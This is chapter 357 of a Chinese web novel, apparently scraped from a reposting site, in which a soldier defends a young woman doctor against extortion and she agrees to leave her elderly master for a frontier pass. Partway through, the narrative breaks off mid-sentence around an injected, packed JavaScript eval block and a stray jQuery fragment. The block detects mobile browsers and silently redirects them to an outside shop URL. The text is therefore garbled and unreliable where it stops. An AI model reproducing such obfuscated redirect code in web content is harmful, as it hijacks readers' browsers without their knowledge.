第357章 离师

作品:《燕子迴时

    晏安邦骑着马赶去肃州,心中雀跃,原想着此生难见,没想到立马就见上了,两个月,他们肯定还在肃州。


    轻舟熟路找到小院,却发现有人堵着门口叫喊,周围站着一群看热闹的人,门口还躺着一个闭着眼不说话的男人。


    晏安邦起先以为是医**人在这闹,心提到嗓子眼,想着不好,他就把老丈和仙女一手一个夹出来逃跑。


    但是听了半日,才知道是躺着的人自己去山里砍柴刮伤了腿,自己不在意,结果伤口发脓烂死,人都昏迷了,求到这跟前,江采女给他刮骨疗伤,好悬留了一条命在,现在腿伤还未完全好,这家就起了心思,说江采女没医好,好好的人以后留下腿疾,无法娶媳妇。


    非要江采女给他做媳妇。


    “我真没见过这么厚颜无耻的人。”晏安邦听清楚后穿过人群,“要是给他治腿的是个大老爷们,你也要人当媳妇赔给你吗?”


    “那是她治的呀。”婆子哭道,她比划着,把他儿子的裤腿剪了,大腿都看到了,“她这样的女子,还有谁敢要,也就是我心善。”


    “你可真心善,儿子受伤了不给看大夫,快要**知道求人了,知道这家小大夫人美心善,救人要紧,就求上来,人家给你治好了,没问你要诊金,你先讹上来了,怕不是想省了药费又白得一个媳妇,天下的好事都让你一个人占了呗。”


    晏安邦双手抱胸,他看着地下躺着装死的病患,随意的踢了两脚,“既然不想给药费,我就给砍了,放心,小大夫会给你止血,不让你**,抵了药费,好歹你还是赚了一条命,值了。”


    他穿着盔甲,一看就是行伍,这种人最是莽撞,做出什么事来都正常,他这么一开口威胁,躺着的人躺不住了,挣扎着起来,一蹦一掉的走了。


    **的人走了,晏安邦环顾四周,“有这么人好心善的大夫在身边住着,大家都得益,不能这么看人**啊,心寒了人走了,还是咱们吃亏。”


    “我们就看看热闹,不会帮着说话的。”周围人说,“乔大人是好人,我们都知道。”


    晏安邦摆手,都散了吧,如此不讲理之事,中立旁观就是偏


    帮看谁的热闹?


    他进到院子里江采女一脸戒备的盯着门口看到他泄气后又生气头一扭回自己房里乔崇宁倒是坐在中堂熬药扇子有一扇没一扇的。


    “老丈。”


    乔崇宁要起身迎他晏安邦快步向前按住他“不敢劳你起身来迎我。”


    乔崇宁上下打量他穿着兵服意气风发的“看来你到了军队如鱼得水啊。”才入伍的大头兵哪就能这么自如的出门。


    “也是托老丈和姐姐的福。”晏安邦没反驳“姐姐给我的金疮药太好用了我给我们将军用了一点将军让我来再买些这可是救人的好东西。”


    乔崇宁点头


    “为什么?”晏安邦纳闷不是说好要在肃州久待的吗。


    乔崇宁叹气“你今日来也看到了像这样讹人的事有个开始就时常有烦不胜烦。”


    “没良心的人还是少数吧。”晏安邦安慰。


    “不是没良心是贪心。”乔崇宁摇头。


    晏安邦回来乔崇宁让厨娘多做几个菜给晏安邦好好打打牙祭菜做好了江采女不出来说心情不好不想吃饭。


    乔崇宁没强求她出来只是让厨娘把她那份饭菜热在灶上她要饿了自己会去找吃的。


    招呼晏安邦陪他喝酒爷俩边喝边说。


    “这事又不是姐姐的错姐姐为何自苦?”晏安邦有点担心早知道白天就打一顿了出了恶气姐姐心里也许就舒服了。


    乔崇宁看他神色突然心中有个想法不过他没明说酒过三巡后才叹气说采女命不好。


    年纪小小母亲就生了重病三岁的小丫头依偎着娘的腿陪她看病问诊后来娘**爹另娶后母不慈动辄打骂还不给吃喝小丫头饿的没法也不知道其他去处医馆是来熟的就懵懵懂懂找过来了。


    他看着可怜给了吃喝还教她以后饿了还是可以来这里吃。


    结果那丧尽天良的夫妻知道后直接找上门要十两银子


    把采女卖给他不给银子这么小的一个孩子父母要她的命太容易了。


    乔崇宁最后给了十两银子却没签买卖文书就当养个小药童在身边好歹留的一条命在。


    “当初没要身契是想着小姑娘长大要嫁人良籍总比奴籍好哪知道是给她留下隐患。”乔崇宁长叹。


    江采女天资聪颖药的名字属性只要见过一次就过目不忘七八岁上自己会翻医书十一二岁就可以和乔崇宁商议药方乔崇宁很久没收弟子了但是不忍心江采女浪费天资还是正式开坛收了她做弟子。


    十四岁就可以独立出诊起先只给女眷看但是乔崇宁是教的全科有时候自己看不过来也让江采女看。


    这时候大家才知道江采女不是药童侍女是正式的弟子出门看病可以顶乔家堂的名号。


    这让那对丧尽天良的夫妻知道就找上门要接江采女回去嫁人聘礼都收好了嫁给某某药堂的掌柜那药堂一直就想和乔家堂扯上关系这下娶个乔崇宁的弟子什么都有了。


    那掌柜三十多岁已有正妻嫡子说是平妻不就是做妾。


    江采女倍觉侮辱但是乔崇宁一时也没有别的办法因为当初要保护江采女的户籍既然还在她父亲的名下她父亲就能处置她。


    这个时候许多年不见的舅舅也跳出来要和江父争江父对不起他姐姐对不起他姐姐留下的唯一血脉第一次卖外甥女的钱没给他现在再卖一次这钱他必须有份。


    总之是一团糟江采女不想见师父因为她劳心劳力袖子里揣着一把刀就要回家她要自尽在屋前让她爹竹篮打水一场空让人都看看她的好后母她要她家无人敢嫁敢娶。


    “我养她这么大不是为了看她死在我面前。”乔崇宁说着哽咽了。


    晏安邦给乔崇宁敬酒


    “后来我就带她离开了江南。”乔崇宁回想往事一开始没想着去很远的地方只想着躲躲风头但是江采女年轻貌美有一技之长又单身只要被人摸透了


    关系,就有数不尽的人打她的主意,乔崇宁一个老翁,护不住。


    一路走走停停,乔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17075305|173898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    崇宁看破,非得给江采女找个夫君才能太平,但是江采女无心嫁人,再有,嫁到富庶之地,难免会被那对不要脸的夫妻找上门,所以乔崇宁才想着往肃州走,一是天高地远,江采女可以慢慢转变心思,二是肃州非富庶之地,那对不要脸的人也不会费心力来找。


    “肃州没有可嫁之人,日后再往哪走,我也是真的没辙了。”


    晏安邦心头一跳,“我去嘉兰关,看其民风淳朴,再加上现在有战事,大夫总是供不应求,老丈不如带着姐姐跟我去嘉兰关,等我混出头了,也能护住老丈姐姐。”


    乔崇宁看着他,给他倒酒,敬他一杯,像是下定了某种决心,“我总不愿意逼她。”


    “她跟你去嘉兰关,是想开了愿意嫁人过安稳日子也好,还是不改初衷,宁为玉碎也好,我收养她一场,已经尽力,只要不死在我跟前,都不算我白费心力。”


    乔崇宁喝醉了,晏安邦挪他进屋休息,出来看到江采女站在院子里抬头看月亮,“姐,姐姐。”晏安邦轻声喊道,不确定江采女现在心情如何?


    “嘉兰关如何?”江采女问他。


    “嘉兰关挺好的,虽然不如肃州热闹,但是该有的也都有,人看着也都挺朴实的。”


    “嘉兰关需要大夫吗?”江采女问。


    “当然需要。”晏安邦屏住呼吸,不知道江采女接下来会说什么。


    “那我跟你去嘉兰关做大夫吧。”江采女看他,“你明日同师父说,你求我去的,说惨点,说嘉兰关现在缺大夫。”


    “可以和老丈一起去呀。”


    江采女摇头,“师父腿本来就不好,就不让他去嘉兰关了,万一高项打进来,他跑都跑不动,别把命陪在那。”


    现在的困境,她也不是一无所知,之前只想着和师父在一起就好,现在却明白,她不走,师父永无宁日。


    “我不会让高项打进来的。”晏安邦保证。


    江采女回他一个很轻的笑容,“去睡吧。”


    第二天


    晏安邦在江采女的示意下说想请江采女去嘉兰关,江采女让师父在肃州等她,战事停歇,她就回来了。


    师徒二人心知肚明这是诀别,乔崇宁笑着点头说好,还让江采女多买些外伤药去,用得着。


    江采女收拾妥当后在乔崇宁跟前磕头道别,乔崇宁扶着她的手,还是不由流下老泪,“采女,师父时常在想,教给你医术是为了你好,还是害了你?


    “师父怎么能这么说呢?江采女抬头也是泪流满面,“采女今生能得师父授艺,是天大的福分。


    “那小子虽然家道中落,但是家中只有一个寡母,没有婚配,我看他也算实心诚意,是个厚道人,若是你们有缘分,不要错过。乔崇宁小声补充。


    江采女点头。


    二人挥别了乔崇宁离开肃州,不知道晏安邦怎么想的,没有另外租一匹马,直到出城都是他牵着马走,江采女坐在马上。


    江采女默默哭够了,问晏安邦,“你准备一路走到嘉兰关吗?


    “上马吧,不要在路上耽误时间。